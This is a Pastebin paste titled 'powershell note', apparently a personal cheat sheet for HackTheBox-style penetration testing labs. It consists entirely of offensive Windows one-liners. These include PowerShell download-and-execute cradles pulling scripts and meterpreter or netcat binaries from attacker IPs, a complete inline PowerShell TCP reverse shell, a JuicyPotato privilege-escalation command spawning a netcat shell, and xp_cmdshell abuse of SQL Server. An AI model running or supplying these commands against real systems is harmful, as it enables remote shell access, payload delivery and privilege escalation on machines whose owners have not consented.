cyberoot

powershell note

May 21st, 2019 (edited)
228
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. # Rev-shell
  2. powershell.exe -Command iex (New-Object Net.WebClient).DownloadString('http://10.10.14.53/htb/Invoke-PowerShellTcp.ps1'); Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.53 -Port 4444
  3.  
  4.  
  5. JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\temp\nc.exe -e cmd.exe 10.10.14.53 443" -t *
  6.  
  7.  
  8. #xp_cmdshell
  9. xp_cmdshell C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/mini-reverse.ps1\")"
  10.  
  11. powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.X.X:1234/nc64.exe','C:\Users\Public\nc64.exe')"
  12. powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.4/exploit.html')"
  13. powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.14.19/meter_shell.exe', 'meter_shell.exe')"
  14.  
  15.  
  16. powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.0.148',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  17.  
  18.  
  19. powershell -command Invoke-WebRequest 'http://10.10.14.38/nc.exe' -OutFile nc.exe"
  20.  
  21. powershell -command ./nc.exe 10.10.14.5 1337 -e cmd.exe"
Comments
  • User was banned
Add Comment
Please, Sign In to add comment